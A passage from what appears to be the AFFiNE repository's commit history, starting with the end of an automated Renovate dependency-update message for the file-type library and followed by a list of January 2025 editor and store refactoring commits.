-   Give API access to `FileTypeParser#detectors` ([#&#8203;704](https://redirect.github.com/sindresorhus/file-type/issues/704))  [`7e72bbc`](https://redirect.github.com/sindresorhus/file-type/commit/7e72bbc)
-   Improve Nikon RAW NEF (Tiff) format detection ([#&#8203;670](https://redirect.github.com/sindresorhus/file-type/issues/670))  [`cf6fc1e`](https://redirect.github.com/sindresorhus/file-type/commit/cf6fc1e)
-   Add support for Java archive (`.jar`) ([#&#8203;719](https://redirect.github.com/sindresorhus/file-type/issues/719))  [`8651809`](https://redirect.github.com/sindresorhus/file-type/commit/8651809)
-   Add support for MSOffice macro-enabled docs and templates ([#&#8203;720](https://redirect.github.com/sindresorhus/file-type/issues/720))  [`7fe5667`](https://redirect.github.com/sindresorhus/file-type/commit/7fe5667)
-   Add support for OpenDocument graphics and templates ([#&#8203;718](https://redirect.github.com/sindresorhus/file-type/issues/718))  [`4db407d`](https://redirect.github.com/sindresorhus/file-type/commit/4db407d)
-   Add support for Microsoft Excel template with macros (.xltm) ([#&#8203;714](https://redirect.github.com/sindresorhus/file-type/issues/714))  [`1fe621a`](https://redirect.github.com/sindresorhus/file-type/commit/1fe621a)
-   Add support for Microsoft Word template (.dotx) ([#&#8203;713](https://redirect.github.com/sindresorhus/file-type/issues/713))  [`643ef78`](https://redirect.github.com/sindresorhus/file-type/commit/643ef78)
-   Add support for Microsoft Excel template (`.xltx`) ([#&#8203;712](https://redirect.github.com/sindresorhus/file-type/issues/712))  [`0dab3e0`](https://redirect.github.com/sindresorhus/file-type/commit/0dab3e0)
-   Add support for Microsoft PowerPoint template ( `.potx`) ([#&#8203;710](https://redirect.github.com/sindresorhus/file-type/issues/710))  [`f978619`](https://redirect.github.com/sindresorhus/file-type/commit/f978619)
-   Add support for ZIP decompression using `@tokenizer/inflate` ([#&#8203;695](https://redirect.github.com/sindresorhus/file-type/issues/695))  [`399b0f1`](https://redirect.github.com/sindresorhus/file-type/commit/399b0f1)
-   Add support for `.lz4` file format ([#&#8203;706](https://redirect.github.com/sindresorhus/file-type/issues/706))  [`74acf94`](https://redirect.github.com/sindresorhus/file-type/commit/74acf94)
-   Add support for format `.drc`, Google's Draco 3D Data Compression ([#&#8203;702](https://redirect.github.com/sindresorhus/file-type/issues/702))  [`e99257d`](https://redirect.github.com/sindresorhus/file-type/commit/e99257d)

##### Fixes

-   Fix code sequence "File Type Box" detection ([#&#8203;705](https://redirect.github.com/sindresorhus/file-type/issues/705))  [`7d4dd8d`](https://redirect.github.com/sindresorhus/file-type/commit/7d4dd8d)

***

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 10:08:14 +00:00
Brooooooklyn
e72371d15c style: use typescript resolver for eslint import plugin (#9662) 2025-01-13 05:56:29 +00:00
Saul-Mirone
5b9256712e chore(editor): remove unused awareness slot (#9640) 2025-01-11 04:27:45 +00:00
Mirone
446b31b621 refactor(editor): rename job to transformer (#9639) 2025-01-11 12:04:07 +08:00
Saul-Mirone
6feb4def2f fix(editor): exisiting slice import should be move instead of add (#9616)
Closes: [BS-2339](https://linear.app/affine-design/issue/BS-2339/%E6%8B%96%E6%8B%BD%E9%87%8A%E6%94%BE%E5%90%8E%E7%9A%84%E4%BD%8D%E7%BD%AE%E4%B8%8D%E5%AF%B9)
2025-01-09 12:14:54 +00:00
Saul-Mirone
126ab18967 feat(editor): selection as store extension (#9605) 2025-01-09 11:49:23 +00:00
Saul-Mirone
422bac6cbe refactor(editor): remove readonly in awareness (#9597) 2025-01-09 05:15:35 +00:00
Saul-Mirone
3683297ccf feat(editor): add feature flag service (#9592) 2025-01-08 15:46:31 +00:00
Saul-Mirone
5842d45ab1 feat(editor): merge store and blocks (#9591) 2025-01-08 13:01:19 +00:00
Saul-Mirone
fe727412be feat(editor): add editor store (#9584) 2025-01-08 07:47:43 +00:00
forehalo
c0ed74dfed chore: standardize tsconfig (#9568) 2025-01-08 04:07:56 +00:00
fourdim
ebaceb481d fix(editor): enumerate ancestors (#9540) 2025-01-07 11:40:10 +00:00
L-Sun
440239809c refactor(editor): refactor page note empty checker (#9570)
Close [BS-2320](https://linear.app/affine-design/issue/BS-2320/内容为空的状态判断)
2025-01-07 11:24:40 +00:00
Saul-Mirone
5e51018c03 fix(editor): remove ts ignore (#9567) 2025-01-07 08:48:05 +00:00
Saul-Mirone
26fb9d148c chore: remove awareness sync since it's not used (#9563) 2025-01-07 06:12:08 +00:00
Saul-Mirone
0d2eb64817 chore: move page not found error out of constants (#9547) 2025-01-07 05:57:38 +00:00
Saul-Mirone
f778d1a28a refactor(editor): move extension to store (#9552) 2025-01-06 15:15:14 +00:00
EYHN
46c8c4a408 feat(nbstore): improve nbstore (#9512) 2025-01-06 09:38:04 +00:00
Saul-Mirone
3d168ba2d2 refactor(editor): reorg code structure of store package (#9525) 2025-01-05 12:49:02 +00:00
Saul-Mirone
1180e9bc15 refactor(editor): move workspace meta to affine (#9524) 2025-01-05 06:49:31 +00:00
Saul-Mirone
be0de6dc21 refactor(editor): remove legacy blocksuite doc (#9521) 2025-01-05 01:25:59 +00:00
Saul-Mirone
c773982ced refactor(editor): rename store api (#9518) 2025-01-04 12:51:56 +00:00
Saul-Mirone
dcf4993265 refactor(core): move block collection to affine and implement as doc (#9514) 2025-01-04 06:28:55 +00:00
Saul-Mirone
4457cb7266 refactor(editor): rename doc to blocks (#9510) 2025-01-03 12:49:33 +00:00
Saul-Mirone
51b109ee53 chore(editor): move legacy doc collection to test workspace (#9507) 2025-01-03 09:40:33 +00:00
Saul-Mirone
cfd64f1fa5 refactor(core): move workspace implementation to affine (#9504) 2025-01-03 08:13:57 +00:00
Saul-Mirone
897c7d4284 refactor(editor): should not rely on doc collection type (#9501) 2025-01-03 06:30:27 +00:00
Saul-Mirone
8b6c81f76d refactor(editor): reduce dependency to doc collection (#9492) 2025-01-03 01:59:25 +00:00